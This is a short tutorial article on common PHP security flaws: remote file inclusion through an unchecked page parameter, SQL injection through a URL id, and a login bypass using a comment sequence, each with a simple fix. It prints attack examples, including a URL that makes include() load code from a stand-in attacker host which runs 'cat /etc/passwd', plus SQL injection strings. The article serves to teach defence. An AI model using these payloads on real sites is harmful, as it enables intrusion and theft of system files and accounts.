Found at: http://publish.ez.no/article/articleprint/69/

Security flaws in PHP



When developing web applications in PHP (or any other languages for that matter) there are several security aspects we should consider. In this article I'll try to explain some of the most common security flaws, and show simple ways to secure your site.

Page variable


When creating a site using several pages, we often wish to use the same header and footer. To accomplish this the programmer often use an index page printing header, includes the appropriate file for contents of the page, and then prints the footer.

I've seen several sites using a page variable defined in the URL for choosing the page containing the contents. ex: http://www.unsecuresite.com/index.php?page=news.php and the index.php page is like this:

<?php
<!-- print header here -->

include( $page );

<!-- print footer here -->
?>


This is a common mistake by newbies. When PHP is including a page it doesn't care if the page is locally or on a remote server. Someone could easily change the URL to http://www.unsecuresite.com/index.php?page=http://www.cracker.com/crack.php. Imagine crack.php is containing this text:

<?php
passthru( "cat /etc/passwd" );
?>


This would cause php to download crack.php from the remote server and execute it locally, exposing the /etc/passwd file to the cracker.

Having fun with SQL


Consider the URL http://www.unsecuresite.com/index.php?id=3 We can assume that the id variable is used in an SQL expression. Some developers like to print the SQL command if something goes wrong. If we try to add ' to the URL we might get an interesting error. Something like "Error: SELECT * FROM Mytable WHERE ID='3''". Here we see that the id variable specified in the URL is used directly in the SQL command. Here we can manipulate the database as we want. If we change the URL to http://www.unsecuresite.com/index.php?id=3'%20OR%20id>='0 (%20 is a space) the application will run the SQL command: "SELECT * FROM Mytable WHERE ID='3' OR ID>='0'" causing every record in the table to be selected (and very often printed).

To avoid this we should always check variables used in the URL. This problem could easily be avoided with:

<?php

if ( !is_numeric( $id ) )
{
    print( "Error in syntax" );
    die();
}

....

?>


More SQL problems


On sites using user login, we have to be very careful with our SQL. Lets say we have a login page like this:


<form action="login.php" method="post">
User name:
<input type="text" name="Username"/>
Password:
<input type="password" name="Password"/>
<input type="submit" value="OK" />
</form>


We can assume that $Username and $Password are used in an SQL command like this: "SELECT * FROM UserTable WHERE Username='$Username' AND Password='$Password'". The application will then check if the SQL command returned one record and then log in.

Many of these sites have thousands of users, and we can guess that there is a user called "john", "smith", "boss" or even "admin". If we type "admin';--" in the Username field and just some rubbish in the Password field this SQL command would be executed: "SELECT * FROM UserTable WHERE Username='admin'; --' AND Password='fdgd'". As many of you know -- is the SQL syntax for a comment, causing the database to ignore everything behind --. In this example the database will not check the password and return one record of we have a valid user name. In other words: We're in.

There are several ways to avoid this. We could check for -- and ' in Username and ignore there requests. But the best way is probably to escape the string causing ' and -- to be treated like every other character.

Other problems


A web server is very exposed to crackers. And often the PHP coding is done by web designers, not experienced software developers. It's no use to have an expensive firewall if the PHP code is full of holes. Be very thorough with the security aspect. And most important, type check every variable supplied in an URL or by a form.


| Back to normal page view |